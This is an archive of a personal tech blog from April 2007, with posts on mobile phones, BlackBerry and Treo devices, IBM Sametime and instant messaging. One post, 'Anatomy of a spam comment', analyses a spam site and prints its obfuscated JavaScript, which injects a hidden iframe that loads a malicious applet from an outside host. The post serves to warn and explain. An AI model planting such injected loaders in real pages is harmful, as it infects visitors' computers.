April 2007


by Volker Weber


Overheard in New York

by Volker Weber

Chick #1: Dude, he's totally got that Napoleon complex.
Chick #2: Nah, man, he's just an asshole that happens to be short.

More >


by Volker Weber

Hamburg, 30. April 2007 - Aktivisten der Umweltschutzorganisation Greenpeace fuehren ab sofort auf deutschen Autobahnen ein Tempolimit fuer den Klimaschutz ein. Sie werden in den kommenden Wochen auf bisher unlimitierten Strecken Verkehrsschilder mit einer Geschwindigkeitsbeschraenkung auf 120 Kilometer pro Stunde aufstellen. Die Greenpeace-Aktivisten werden damit in so genannter Geschaeftsfuehrung ohne Auftrag fuer Verkehrsminister Wolfgang Tiefensee handeln, der sich bisher weigert, ein flaechendeckendes Tempolimit auf deutschen Autobahnen einzufuehren.

Wie wird sowas eigentlich bestraft? Nicht, dass nächste Woche jemand Städte befreit und die Ortseingangsschilder entfernt, damit in geschlossenen Ortschaften ein einheitliches Tempolimit von 100 km/h besteht.

More >

BlackBerry Internet Service upgraded

by Volker Weber

All German carriers have upgraded their BlackBerry Internet Service to 2.3. You can find information about this release here .

You need to resend your service books from BIS to your device. The biggest change for me is that my BlackBerry can now play .WAV files received from my Universal Messaging Service.

You will also find a new service book called CICAL which is typically used for calendar synchronization via BlackBerry Enterprise Service. My CICAL service book however is attached to my GMail account. Would be awfully nice, if RIM would provide calendar sync with Google Calendar, wouldn't it? However there is no other clue that this could become available.

It's "Make your own caption" time

by Volker Weber


Reminds me of Italian Rolex timepieces

by Volker Weber

Thousands of Japanese have been swindled in a scam in which they were sold Australian and British sheep and told they were poodles.

More >

Half of XING's subscriber base

by Volker Weber

one million

Treo 750 annoyances, one resolved

by Volker Weber

I have resolved one major annoyance I had with the Treo 750: when accepting a call, the calling party would not hear the first second or two of what I said. So typically they would not hear me accepting the call and there were all sorts of "Hello, hello, do you hear me" confusions. As it turns out, Voice Command was the culprit. It lets you interact with your phone, and there was one option which lead to a race condition. If you pick up the phone late, you will hear a ring and then the phone calls out the name of a known caller. If you pick it up quickly, then you want to say something, but Voice Command apparently also wants to grab the audio interface. Thus the delay when you are fighting over control. Anyway, that was not so easy to spot, but easy to switch off. It is the last option in Settings/Voice Command/Telephone/Options:


I have one more annoyance that hit me yesterday, when Ute returned the phone after terminating a call. If you hold the red receiver button too long, it will shut down the phone. Your only indication is a small icon at the top of the screen. Plus a sound you can't hear if the phone is on vibrate. I know that you may only tap the red button shortly, but Ute did not. So we ended up with a phone switched off and lost a few calls that way.

In related news: somebody at RIM was annoyed that I did not yet receive a replacement for the broken Pearl so he is sending one tomorrow. Should be on my desk Monday. Just as I am getting acquainted to the Treo. ;-)

Quote of the day

by Volker Weber

In a perfect world spammers would get caught, go to jail, and share a cell with many men who have enlarged their penises, taken Viagra and are looking for a new relationship.

[via Michael]

Nokia E61i coming up

by Volker Weber

nokia e61i

Since the E61i is waitlisted in the Nokia demo pool in Germany, I have asked my contact in Finland whether he can send me one. He said he is happy to, so without too much delay I should have an E61i to look at. I have heard good things about it, and my contact is confident I will like it a lot. I also asked whether I should wait for the E90, and since I am getting the E61i it appears that I should not. ;-) The E90 will ship in the summer, and "summer" is between two and five months away.

Odd system interaction in Sametime 7.5.1

by Volker Weber

The new Sametime client is interacting with the operating system in some strange and unexpected way. Since I think that Notes 8 will suffer from similar surprises, I will try to understand them now.

The first thing you notice after you installed Sametime is that there is no dock item. So the first thing I did was to drag the program icon to the dock to add it there. Now watch the movie below very carefully. It does not matter whether you click the program icon or the dock icon, Sametime will always load a second dock item. Also note the little black arrow under the second icon. This indicates a running program in contrast to an inactive icon. The second icon represents the bigger process of the two mentioned in the last posting. Apparently the program icon only launches the Java Virtual Machine with the necessary parameters. It then remains in memory without interacting with the user interface in order to catch a second launch. Also notice that it does not make any sense to keep the second icon in the dock, because it cannot launch the application. It will simply load an empty JVM. In my case it also kicked off Textmate, because that is my catch-all for unknown files.

In conclusion, Sametime is the only program on the Mac which requires two dock icons, and the user needs to be educated which one of them does what. Since Notes 8 will use the same architecture, it most likely will behave in the same way.

While the two icons issue is a an architectural one, the other odd behaviour could potentially be fixed. The user interface conventions on the Mac say that an application should have its About and Preferences on the application menu. So does Sametime, only that those menu items don't actually do anything. You have to refer to the file menu and the help menu to envoke them, as you can see in movie below. This is a "write once and don't test everywhere" issue.

Sametime memory consumption

by Volker Weber

Here are three screenshots of memory consumption. The first one is for AdiumX on the Mac, the next two ones are for Sametime 7.51 which runs two processes. AdiumX is connected to AOL Instant Messenger, ICQ, GoogleTalk, Jabber, MSN, Yahoo Messenger and the IBM Sametime Demo server at stdemo3.dfw.ibm.com. Sametime 7.5.1 is connected to the IBM Sametime Demo server at stdemo3.dfw.ibm.com only. Both programs are idling at around 2% CPU consumption. Sametime's buddy list contains four contacts, Adium has a few hundred. Both Adium and Sametime have no additional plugins installed.


Sametime 7.5(.1) for the Mac is finally available

by Volker Weber

C99GPML.tar is your download. A tar file? Yup. It contains a directory with three subdirectories and a very funny readme.html file:


Do you get the joke? Anyway, the directories contain an Eclipse license, some optional components, including an equally funny SSO implementation:


Does anyone at IBM actually look at this stuff, before it is being shipped? It's just too easy to make fun of them. And finally there it is:


And inside there is:


Which then loads an installer, and (drumroll), a few minutes later:


BTW, it actually takes longer to launch the client than it takes to install it in the first place. Now I have to hunt down the name of the demo server, since 7.5.1 does not read the configuration which 7.5.0 beta left behind. Later.... It's stdemo3.dfw.ibm.com. The interface has been cleaned up, but there are still truncation issues we have seen 10 months ago.

Update: Just read this here:

Video conferencing through Lotus Sametime Connect client and Audio/Video participation or application sharing in Lotus Sametime Web conferences are not supported on the Macintosh platform at this time.

Update: Here is what happens if you close your buddylist:

There is still an icon in the dock, and you can see the last remaining menu, but you cannot do anything useful anymore. The only way to recover from this is to quit Sametime and restart. Are IBM's beta testers too soft to point out these issues? Or maybe they were just not listening?


The other issue I have is fonts. Maybe IBM got a little bit too creative. The picture above shows Skype, two buddly lists from iChat and finally Sametime. There is a lot of stuff in the window which is hard to read or understand.


by Volker Weber

My father was eight, my mother was just born, when Germany turned into a fascist state. They were unable to see it coming. Would you see it happening? Or is your news channel busy covering Britney Spears' meltdown and the question of who fathered Anna Nicole's baby?

Extended Road Map for Duet

by Volker Weber

ATLANTA — April 24, 2007 — SAP AG (NYSE: SAP) and Microsoft Corp. (NYSE: MSFT) today announced that they have deepened their relationship and extended their product road map for Duet software for Microsoft Office and SAP, a solution that allows information workers to interact with select SAP business processes and data through Microsoft Office applications. The companies will jointly enhance Duet with additional business scenarios, platform capabilities and development tools. The upcoming version, Duet 2.0, is planned for the end of 2008 and Duet 3.0 is planned to be released soon after the next generation of SAP Business Suite applications and Microsoft Office software, including Microsoft Office SharePoint Server.

More >

The left hand now knows what the right hand is doing

by Volker Weber

Caught up on your podcasts?

by Bruce Elgort

Here's a list of the Taking Notes podcasts that have been published since mid-February:

Episode 54 - Lotus Quickr with Rob Novak
Episode 55 - ILUG 2007 with Bill Buchan and Paul Mooney
Episode 56 - Andre Guirard from IBM
Episode 57 - Thoughts on the Notes 8 Beta with Rob McDonagh
Episode 58 - Quickr 8 Templates
Episode 59 - Ext.ND and Javascript frameworks

If you are developing composite applications with Lotus Notes 8, we would love to speak with you about it on a podcast. We are planning a future show on Notes 8 development and are finding it a bit difficult to find people developing Notes based composite applications so early in the beta cycle. Drop me a note if you are interested.

SubEthaEdit updates

by Volker Weber

SubEthaEdit just got better, and Panic uses the SubEthaEngine to facilitate distributed editing in Coda. Check this out. One-window web development.

BlackBerry in the fridge

by Volker Weber

A friend's BlackBerry is dropping service, unable to receive mail, drops calls. Others are reporting the same issues. Now he has found out that he needs top put the device in the fridge to make it behave normal again. Don't ask me how he found out. :-)

Not quite smart phones

by Volker Weber

My requirements for a mobile phone are not very basic. I want a phone that works as a phone, it should be able to receive emails unattended. I want a camera capable of taking useful pictures, I need to be able to reply to email and send attachments, especially pictures. Finally I want instant messaging if possible, and a way to post to vowe.net would be nice to have. Stellar battery performance is not an issue as long as I can make it safely through the day. I want a 3G radio if possible, and it should be able to connect my Mac to the internet. Syncing addresses and calendars from the Mac is a must.

However, none of the phones I currently use is able to do all that. In alphabetical order:

BlackBerry 8100 Pearl: Does not have a 3G radio and does not work as a modem with the Mac. Receiving email is perfect, answering is not so perfect due to SureType instead of a full keyboard. Syncs with the Mac, albeit not through iSync. Can send pictures as attachments, but is unable to play wav file attachments (BIS limitation at my carrier). The phone is currently broken and RIM does not have a replacement for me. Was my favorite phone before it broke.

BlackBerry 8800: Does not have a 3G radio and does not work as a modem with the Mac. Receiving email is perfect, as is answering. Syncs with the Mac, albeit not through iSync. No camera. Biggest downside: does not work with my primary USIM (limitation introduced in 4.2.1). RIM knows about the problem since March 15, but I am unable to get status updates on this issue. Even without a camera it would be a serious contender for vowe's choice due to the fact that it has working GPS receiver.

Motorola RAZR: Dumb phone, works reasonably well. No 3G modem. Works with the Mac as a modem. Supported by iSync but does not store enough contacts. Receiving email means polling your mail server. Replying is inconvenient due to the phone keypad. Camera is useless,

Nokia 9300: Does not have a 3G radio but works as a modem with the Mac. Receiving email is good, but the mail client is way too slow compared with current devices. Unsupported in iSync and has issues even after I added a working driver. Very good phone, no camera, excellent battery life. Excellent screen. You can read it in bright sunlight. iSync issues and the slow mail client made me drop this phone.

Nokia N70: Has a 3G radio that works as a modem with the Mac. Excellent camera for a mobile phone, no BlackBerry Connect support. Unattended email means fetching periodically from POP or IMAP which is too expensive. Replying is inconvenient due to the phone keypad. Terrible battery life, especially in 3G mode. Drops of the 3G network without giving any indication. Callers are told you are not online, although the device says you are on. Can be switched to 2G and works well there.

Palm Treo 750: Has a 3G radio that works as a modem with the Mac. Usable camera. Fast mail client with BlackBerry Connect and Direct Push support. Very limited functionality, for instance no "mark all messages as read". Unsupported by iSync, unable to store all contact information from Mac. Do not dare to sync both ways. Battery life is terrible. Absolutely terrible. Worst in this set. Turns itself on for no particular reason, so don't let it sit next to your bed or it will wake you up. Has a one to two second delay when setting up an incoming call. Calling party will be unable to hear your first words.

If you work for Nokia, Samsung, SonyEricsson or any other company that makes fine phones, and you are able to send me a newer device, let me have it. I am going to say nice things about stuff that works, and bad things about stuff that does not. Your call. :-)

Oh, one thing: no more Windows Mobile phones. The Treo is the best of them, and it ain't good enough.

A day in the park

by Volker Weber

.Mac sync error

by Volker Weber

.ac sync error

I am unable to sync with .Mac. Does anyone of you have an idea how to fix this problem?

The day before

by Volker Weber

the day before

Very powerful ads for CapeTimes >

Smart dog

by Volker Weber

[via Silkester]

Bombus: a MIDP Jabber client

by Volker Weber

bombus roster service discovery
bombus profiles about bombus

Bombus is a very capable Jabber client for J2ME/MIDP. It worked from the outset on my Nokia N70 but I had to first install a JVM on the Treo 750. The site is Russian, but the software works in English as well as in Russian, Polish, Czech, Slovak, Ukranian and Bulgarian. You can find the download here.

As you can see in the screenshots above, Bombus also lets you discover services on your Jabber server. I think I need to play with Pubsub on my server, maybe for website alerts.

If you want to complicate things, just call IBM

by Volker Weber

IBM seems to be unable to build anything which does not require a dozen PhDs to install and run. Case in point: the J9 Java VM. After you have mastered finding and downloading the VM from IBM.com — under the interesting name ibm-weme-wm50-arm-midp20_6.1.1.20061110-161633.exe (there were loads of other options which might be better) — you have to run this installer. It creates directories in your /Programs path on Windows, although Windows cannot run them. You then have to copy certain directories from the \Programs\IBM... path to a directory you have to create on your Windows mobile phone. Oh, and before you do that you have to unzip a file on your Windows computer which contains exactly the files which need to be placed on the phone. IBM asks you to create \J9 from the root directory and then create another directory MIDP20 in there. Finally you copy all the necessary directories and files from your \Programs directory there. Here is what you get:


Does anybody at IBM know what a .CAB file is? You could send this to the phone and have it place all the necessary files there. Alright, once you are done shuffling files and directories, you get to install your first application. Here are the instructions:

A demo MIDlet is included with this product. The JAD and JAR files needed to run this MIDlet are located in the following directory:


Note: %JAVAHOME% is the location of the J9 VM installation.

To install and run this demo MIDlet on the target file system:

1. In File Explorer, go to the \J9\MIDP20\bin folder and tap emulator to run this program. The MIDlet List window is now displayed.

2. Tap the Install button.

3. Select the keyboard function and type the following in the URL text field:

4. Tap the Ok button. The Progress dialog displays this message:
Installing a Midlet from ”file:///J9/MIDP20/examples/GolfScoreTrackerSuite.jad”

Unfortunately the result from step 3 is quite different:


Can you find the error?

Two conferences

by Volker Weber

two conferences

I cannot help but compare two upcoming conferences in the Lotus space. One of them is free and the other one is going to cost a few hundred Euro, unless you only want to attend windbag day. One has some of the best speakers from Lotusphere, the other one does not even have a published agenda. One has its own website, the other one is not even prominently mentioned. One has been sold out to fire regulation limits for weeks, the other one doesn't even have a sign-up page. One is organized by two people with a little help from their friends, the other one is managed in cooperation with IBM.

I bet there were a lot more conference calls for the other one. It was a tough nut to crack a hundred days before the conference. It has not gotten any easier with half the distance.

Anatomy of a spam comment

by Volker Weber


[CAUTION: Do NOT load any of the URLs mentioned below]

Today I have received yet another spam comment that tried to install a link to a site which calls itself "A WebSite for creative intellectuals" and pretends to educate you on the usage of The Gimp. This has happened before: Twice on 29.09.2004 from IP address, which belongs to the data center of the Technical University Dresden, and again from the same address on 5.6.2006. On 10.11.2006 the spammer has moved to, which (as the address used above) belongs to the Friedrich Alexander University Erlangen-Nuernberg. The site which the spammer links to belongs to a person with an address in Dresden.

If you examine the source code of the site, you will find that it loads /data.htm, which in term loads /ad/s-block.js which contains an interesting line:

document.write('<iframe src="&#104&#116&#116&#112&#58&#47&#47&#120&#45 &#114&#111&#97&#100&#46&#99&#111&#46&#107&#114&#47&#114&#105&#99 &#104&#47&#111&#117&#116&#46&#112&#104&#112" width=1 frameborder=0 vspace=0 hspace=0 marginwidth=0 marginheight=0 scrolling=no width=0 height=0></iframe>');

This translates to an iframe loaded from http://x-road.co.kr/rich/out.php. This PHP script evaluates the referrer and either takes you to Yahoo.com or loads a malicious Java applet. Here is what Google has to say about this address:


And if you ask Google who links to this trap, you will find sites like sixtus.net, Schockwellenreiter, Mein Parteibuch, etc.

Thunderbird 2 released, Mac now universal binary

by Volker Weber


Microsoft Exchange Server 2007 Hosted Trial

by Volker Weber

Welcome to the Microsoft Exchange Server 2007 Hosted Trial Web site. You can create a temporary account to experience the features of Exchange Server 2007 which will stay active for 5 days. Your account will be pre-populated with sample messages, calendar appointments and contacts to help you have a rich experience. You will be able to send and receive mail, schedule meetings, and adjust your options. You can access your account via Microsoft Outlook Web Access, Microsoft Office Outlook, or an Exchange ActiveSync compatible application. Please review your pre-populated messages for details.

More >

Ubuntu 7.04 released

by Volker Weber


Lotus starts Connections site for business partners

by Volker Weber


Ohne irgendeine Fräseränderung

by Volker Weber

Wenn Sie einen Fräser, der NATIONALES tut (Endsystemadresse-Übersetzung) und Ihr UltraVNC Projektor haben und Bediener auf unterschiedlichen Seiten des Fräsers sind, sind Sie nicht, einen UltraVNC Anschluß ohne irgendeine zusätzliche Konfiguration herzustellen.

More >

[Danke, Johannes]

Sending out a message

by Volker Weber

Das kann ja noch dauern

by Volker Weber


Wind 5 knots

by Volker Weber

This is how fast a cupper sails with almost no wind at all.

New Jabber/Googletalk address

by Volker Weber

In discussion with a GMX messaging architect I found out that my provider hosts a Jabber server which can work with my mail credentials. So I have moved my Jabber account from Google Talk to my provider. You can now reach me as vowe@vowe.net. Finally the same address for mail and instant messaging.

Stefan has started a Wiki page for Jabber IDs.

GMX-Jabber mit eigener Domain nutzen

by Volker Weber

Der von GMX zur CeBIT vorgestellte Multimessenger ist ein Jabber-Dienst, der sich für alle Mailaccounts von 1&1, GMX und Web.de nutzen lassen soll. Wie sich jetzt herausstellt, kann der Server darüber hinaus auch mit den bei 1&1 gehosteten Domains genutzt werden. Jedes von 1&1 gehostete POP3- oder IMAP-Postfach hat schließlich auch ein passendes Passwort und wird auf der gleichen Mailinfrastruktur betrieben. Diese Datenbank kann man nutzen, um sich unter seiner eigenen Mail-Adresse dort anzumelden.

Bei vielen Jabber-Clients reicht es, die Mailadresse und das Passwort anzugeben. Per DNS stellt der Client dann fest, welches der passende Jabber-Server für diese Domain ist und meldet sich dort an. Jabber-Clients, die das nicht beherrschen, z.B. das bei Mac OS X mitgelieferte iChat benötigen zusätzliche die Server-Adresse gmx.net.

Not much sailing going on today

by Volker Weber

... but we won the race back to the harbor.

Larry's boats

by Volker Weber

Use your imagination

by Volker Weber

use your imagination

Déjà vu

by Volker Weber

Basman bloggt. Cem auch. Ich bin gespannt.

Here is a small challenge

by Volker Weber

Measure the time it takes you to see the white lamp.

That was quick

by Volker Weber

that was quick deepfish

Twelve minutes for a reply from Ray and an invitation less than two hours later. Let the games begin. Ten minutes later I was up and running. OK, I had already installed the .NET 2.0 framework. The next two screens show the overview picture and the on screen pointer which snaps to links. In can run this thing from the keyboard. Do you spot the little glitch typical for Internet Explorer?

deepfish pointer deepfish no transparency

So what is Deepfish anyway?

Deepfish is a lightweight client application that leverages a powerful server side technology for delivery of content such as web pages to a Windows Mobile device. Content is displayed in a familiar desktop format that requires no additional work by the content or site author.

This is very early code. As such lots of things don't work:

Currently, the technology preview does not support ActiveX controls, AJAX, cookies, Javascript, and HTTP POST.

The interesting part is the transcoding proxy. It renders the website as a picture which fits on your screen. After pressing the center button you can move a zoom windows across this image and you will get that part magnified. With the four way navigator I can move the windows across the site. After pressing the center button again you can interact with the site. Just by moving the onscreen pointer with the navigator you can select links and click them.

Who said auditors can't be fun?

by Volker Weber

Off to Valencia

by Volker Weber

darmstadt valencia

Looks like the weather will be nicer here as I am heading to Valencia this weekend. But then again, on Monday I won't regret it:


As marked bold my bets are on:

Match 1: Emirates Team New Zealand
Match 2: +39 Challenge (if they had not lost their mast)
Match 4: BMW Oracle Racing
Match 5: Team Shosholoza
Match 6: Luna Rossa Challenge

Mac OS X 10.5 Leopard delayed until October

by Volker Weber

CUPERTINO, Calif., April 12 /PRNewswire-FirstCall/ -- Apple today released the following statement:
iPhone has already passed several of its required certification tests and is on schedule to ship in late June as planned. We can't wait until customers get their hands (and fingers) on it and experience what a revolutionary and magical product it is. However, iPhone contains the most sophisticated software ever shipped on a mobile device, and finishing it on time has not come without a price -- we had to borrow some key software engineering and QA resources from our Mac OS(R) X team, and as a result we will not be able to release Leopard at our Worldwide Developers Conference in early June as planned. While Leopard's features will be complete by then, we cannot deliver the quality release that we and our customers expect from us. We now plan to show our developers a near final version of Leopard at the conference, give them a beta copy to take home so they can do their final testing, and ship Leopard in October. We think it will be well worth the wait. Life often presents tradeoffs, and in this case we're sure we've made the right ones.

More >

Only in Belgium

by Volker Weber

Technogirl >

Things I like in the Skype 2.6 beta

by Volker Weber

Skype released a new beta for the Mac yesterday. The most prominent feature is a call forward where you can transfer and ongoing call to another Skype user.

Since I use Skype for instant messaging, I welcome this history feature:

skype beta 2.6

You can continue your converstation right where you stopped, and you can tell Skype how much of the history you want to see. There are also more status messages being displayed through Growl, for instance that the other person is typing.

Are they sick too?

by Volker Weber

Upgrade your BlackBerry 8700 to OS 4.2.1

by Volker Weber

Telefonica Venezuela is the first carrier to release the 4.2.1 firmware for the BlackBerry 8700 devices:

BlackBerry Handheld Software v4.2.1.108 (Multilanguage)
Package Version:
Consisting of:
* Applications:
* Software Platform:
* File name: 8700M_PBr4.2.1_rel108_PL2.3.0.59_A4.2.1.66_Telefonica_VE.exe
* File size: 59.14MB

Install on your PC, find and remove vendor.xml, then connect your device.

Download here >

Want to restore your data? Buy the upgrade.

by Volker Weber

This used to be a joke, now it's a feature:

Even though the Home Basic and Home Premium versions of Vista are backing up all files including user data files, users can't access the backups of their own data. Want proof that the backups are there? Use Microsoft's Windows Anytime Upgrade feature to upgrade from Home to Ultimate. When we did that, the Previous Versions tab appeared and revealed changes to data files that were made before the upgrade occurred.

More >

[via Gizmodo]

Sofort still legen

by Volker Weber

Ein betrunkener Lastwagenfahrer hat während der Fahrt durch Sachsen auf einem Propangaskocher Essen zubereitet und dabei das Fahrerhaus in Brand gesetzt.

More >

For your inner copy editor

by Esther Schindler

I'm so glad that I don't have to cover the Don Imus brouhaha. Not because I would have to have an opinion on the subject, but because I couldn't bear to contemplate the correct nominative plural of "ho." Should it be hos? ho's? hoes? I don't know, and, happily, I don't need to know.

My IM usage

by Volker Weber

With the advent of AIM, ICQ and Windows Live Messenger on the BlackBerry it was time to reevaluate my IM usage. This is what I have decided:

  1. Skype will remain my primary IM network. Reason: it works all the time, even when sending files through NAT routers and firewalls.
  2. GoogleTalk also remains my secondary IM network. Reason: Google uses the XMPP protocol with tons of available clients. There are very lightweight clients for mobile devices.

Both account names are volker.weber (@gmail.com on GoogleTalk). Add me to your roster if you like. I will need to authorize you on both networks. If you don't see my presence, you may need to remove and add me back to your buddylist. Skype sometimes forgets your authorization. If you don't see me on GoogleTalk/Jabber, I am to blame, since I have at one point removed everybody from the list, dropping their authorizations.

I have a page for Skype IDs on my wiki. You may add yourself if you like. Just register a username (in camel case like VolkerWeber), and you are free to edit the page. I may add another page for GoogleTalk/Jabber IDs.

I have IDs on all major IM networks, but I am not really using them anymore. BlackBerry Messenger does not work for me since it is tied to a device and I am swapping devices faster than other people swap their underwear. Sametime does not work for me since I am not working exclusively for any particular organization. If you are a Sametime user, ask your IT staff to connect your community to GoogleTalk.

Please also check the results of this poll.

Image server is down

by Volker Weber

Yes, I know that lots of photos are not showing up on vowe.net. As soon as the janitor gets up, he will check out the series of tubes.

Udpates: The series of tubes has been found in good condition. Everything back to normal.

RIM to release BlackBerry clients for AIM, ICQ and Windows Live Messenger

by Volker Weber

blackberry aim

RIM is readying the release of clients for AIM, ICQ, and Windows Live Messenger. You can download and install the software, but you cannot yet login. The new clients will complete the current line-up consisting of Google Talk and Yahoo Messenger. BlackBerry devices also run their own instant messaging application called BlackBerry Messenger which relies on PIN messages and is device dependent. Users are authenticated by their device PIN and not by a user account.

Update: Here are instructions on how to make this work until your carrier sends out the required service books.

Some Treo 750 observations

by Volker Weber

treotodayscreen octrotalk

You have to work with a device for a few days before you really get to know it. It does not count if you just carry it with you, but it rather has to be the real workhorse. Since I broke my Pearl last week, I had to switch phones anyway, and I chose the unbranded Treo 750 with UMTS/HSDPA. As far as I know O2 does not have HSDPA coverage in Darmstadt, so I am using it with standard UMTS speed, which is way faster than GPRS. The web browser is as usable as it gets on a 240x240 screen. THis means it works well with sites optimized for mobile phones and not at all with everything else.

As recommended I have tried Spb Insight as an RSS reader, but I am somewhat appalled by the amount of data it downloads. The reason is that it pulls the full articles for all items in an RSS feed. I am sure I can switch that off somewhere but I have not found that yet.

Since I am using the phone with Microsoft Direct Push, I have to charge the battery every night. I don't have trouble surviving a day with all the phone calls and email checking I do, but I have zero chance to survice two. One of the reasons may be that Direct Push wakes up the phone every time an email arrives. It also seems to wake up if the idle link to the Exchange server times out. Direct Push is not really "push". The Treo keeps polling in very long cycles. The server remains silent and lets the client time out for the next poll -- unless an email comes in at the server.

This does work well. The 8800 and the Treo race for the quickest delivery, and most of the times the 8800 wins, but only by a few seconds. However, the 8800 rus much longer on one battery charge -- if you only use it as a messaging device. Phone calls will deplete the battery as quick as on the Treo.

I find the Treo quite usable. The integration is even better than on the BlackBerry. If you receive an email for instance, and you press the center button while reading it, the Treo asks you how you want to respond. Place a phone call to any of the contact's numbers, send an SMS and so forth. If the sender is unknown, the Treo offers to create a new contact.

I also found one small defect. You can have yourself alerted when new mail arrives. If you choose a midi file, that works well. I have however selected an MP3 file, which never plays. It should work as I can hear it when setting up this preference, but it will never actually sound off when it should. Back to a midi file.

I have switched to the Crossbow Treo theme, which goes better with the Treo body than the standard blue Windows Mobile 5 theme. I have also found an interesting GoogleTalk client which does not rely on a Java VM: OctroTalk. They are currently in beta and this version will stop running by the end of the week. Like many other Jabber clients it also lets you connect to what Octro calls legacy networks: AIM, ICQ, MSN and Yahoo.

Nokia makes iSync plugins available

by Volker Weber

Direkt links:

More >

Happy Easter

by Volker Weber

[Thanks, Paul]

Be prepared

by Volker Weber

Martin sent me a survival kit for Dublin. ;-)


by Volker Weber

moto guzzi bellagion

Sehr nett. Mehr Bilder hier >

Is your personal computer a member of an international crime syndicate?

by Volker Weber

Before you laugh, consider this: computer security experts believe that at least 10% of home PCs have been recruited into robot networks, or "botnets," under the control of criminals.

Barry would come to a different conclusion than I do. Tomorrow I will convert another computer to Ubuntu. I just cannot trust an elderly lady with a Windows machine anymore.

More >

[via Barry]

VMware Fusion, Beta 3

by Volker Weber

VMware has a new Fusion beta. Loads of improvements, but this does it for me:

Greatly improved performance - By popular demand, you can now disable debugging code to experience the full power and performance that VMware Fusion offers for running your favorite PC applications.

fusion beta 3

More >

Nun sieht das schon etwas besser aus

by Volker Weber

Beim Einrichten eines Forward auf den mail2web-Account ist mir aufgefallen, dass ich bei 1&1 ja auch noch einen klitzekleinen "Outlook Web Access"-Account habe. Und wie sich herausstellt, ist das Postfach zwar klein, kann aber dank Exchange 2003 Service Pack 2 auch mit dem Treo per "Direct Push" so tun, als sei das ein BlackBerry. Und das funktioniert zwar noch nicht einwandfrei, aber immerhin schon mal ziemlich passabel. Immerhin darf ich bei 1&1 meine Absenderadresse einstellen, so dass sich alles wunderbar zusammenfügt.

Und dann fällt mir auf, dass in Windows Live Search schon zwei Straßen drin sind, die Google noch nicht kennt.

microsoft live search skype installed

Schließlich habe ich noch ein Programm installiert, dass es für den BlackBerry nicht gibt: Skype. Wer hätte es gedacht? Ich freunde mich mit dem Windows-Treo doch noch an.

Die Integration in Exchange ist jedenfalls super einfach. IBM kriegt das einfach nicht gebacken, auch einem kleinen Anwender so etwas für Domino zu liefern.

Preview the Google Phone

by Volker Weber

Mitch sent me an interesting link today: Precursor to GPhone? On My Blackberry?. Use your mobile phone and go to standard Google mobile page. You should get a page which looks similar to those:

googlewm5 googlebb8800

Notice how Google offers a few links for Windows Mobile, but five applications for the BlackBerry 8800: Google Search, Google Maps, GMail, Google News and GTalk. (Actually GTalk is on a different page for the BlackBerry). These are all Java apps, and Microsoft is not delivering a JVM with Windows Mobile. Isn't it funny how Microsoft stubbornly tries to keep out of the mainstream on mobile devices? On the BlackBerry, Google offers you a rather small install:


These applications might give you an idea, what a "Google Phone" is all about.

Best of Knut

by Volker Weber

[via Wolfgang]

Free Exchange Account

by Volker Weber

Claude asked me yesterday if I knew of any free pushmail service. I did not. Today I found out about mail2web. They will give you a 1 GB mail account based on Microsoft Exchange. You can use ActiveSync with Microsoft's idea of a push service if your handhelds supports that. Only downside so far: You cannot set your from address or a reply-to:


Other than that, it just works. Very easy to set up on Windows Mobile handhelds.

One dead BlackBerry Pearl

by Volker Weber

When I pulled it out of my shirt pocket, the screen was all messed up. A reset does not help. I think this has to go into the shop.

Enttäuschte Liebe

by Volker Weber

treo 750

Ich mag das Treo. Auch wenn es für die aktuelle Mode mittlerweile etwas dick und groß ist. Aber so richtig kommen wir nicht zueinander. Das aktuelle PalmOS-Gerät, das Treo 680, kann kein UMTS. Der Vodafone-Typ 750v kann zwar schon UMTS, aber noch nicht HSDPA. Ergo habe ich mich sehr gefreut, als gestern ein 750 hier aufschlug, ohne Vodafone-Branding und ohne das kleine v. Der hat nämlich schon das HSDPA-Update intus, das Vodafone für den 750v hoffentlich auch bald rausrückt.

Der Unterschied ist beachtlich. Mal eben schnell 300 E-Mails runterladen oder richtig flott im Web browsen. Auch als Modem taugt er. Selbst ein Mac ist schnell eingerichtet, wenn man erst mal ein gescheites Script in Library/Modem Scripts hat. Per Bluetooth pairen, die Nummer +99# und das Modemscript auswählen, auf dem Treo "Modemverbindung" starten, und schon klappt das mit dem wahrhaft mobilen Macbook.

Allerdings merkt man schnell, dass man Windows Mobile wirklich nur als Microsoft-Überzeugter mit Outlook/Exchange/ActiveSync nutzen sollte. Überall klemmt es, etwa bei der kreuzdummen IMAP-Implementierung. Die legt stur wie ein Panzer einen Ordner "Gesendete Elemente" auf dem Server an, statt einfach "Sent" zu verwenden. Ändern kann man das nicht. Selbst der einfache Arbeitsablauf "Alles markieren und als gelesen markieren" klappt nicht. Auch ein GMail-POP-Account ließ sich zwar einrichten, aber danach kam er nie wieder ans Postfach. Schuld war eine veraltete Version von MissingSync, das man für knapp 40 Dollar extra kaufen muss.

Auch wenn UMTS/HSDPA rattenschnell ist, so kann man draußen im Sonnenschein schlicht nichts auf dem Bildschirm erkennen - mit einem Blackberry ist das gar kein Problem. Bei einer Größe von 240x240 Pixeln passt eh nicht viel drauf. So richtig warm werde ich mit Windows Mobile wohl nie werden. Das ist mir alles viel zu umständlich.

So schnell will ich aber nicht aufgeben. Was gibt es denn interessantes an aktueller Software? Zum Beispiel ein Blog Client für Movable Type vielleicht? Erleuchtet mich.

Testbericht Apple TV

by Volker Weber

Christian Klaß hat einen sehr schönen Testbericht über Apple TV geschrieben. Überschrift und Anrisstext zeigen, wohin die Reise geht:

Apple TV - Stromfresser mit ungenutztem Potenzial - Netzwerk-Media-Player mit MacOS X erst durch Hacks wirklich interessant?

In Deutschland feht es dem Player schlicht an Inhalten. Fernsehen kann man nicht mitschneiden, und der iTunes Store bietet hierzulande nichts an. Sehr enttäuschend ist auch, dass man nur solche Bilder anschauen kann, die bereits mit dem Gerät synchronisiert sind. 25 W "Standby"-Verbrauch sind der endgültige Killer. 220 KWh im Jahr, das ist mehr als ein Kühlschrank. Schade, Apple.

More >

New poll: with DRM removed, are you more likely to buy music online?

by Volker Weber

Now that EMI has announced they will be offering their catalog of music and videos without any DRM attached are you more likely to buy music online?

  1. Yes
  2. No
  3. I don't care

And here are the results:

poll drm removed


by Volker Weber

Instant idiot - just add alcohol.

In theory ...

by Volker Weber

... Bob has a blog. It was about time. :-)

Oh no, not again

by Volker Weber

Argentina will fight on to win sovereignty over the British-controlled Falkland Islands, the government said on Monday, 25 years after a disastrous war for control of the islands.

More >

Tell me what we do

by Volker Weber

Today' s Dilbert is a classic.

Drive-by dog walk

by Volker Weber

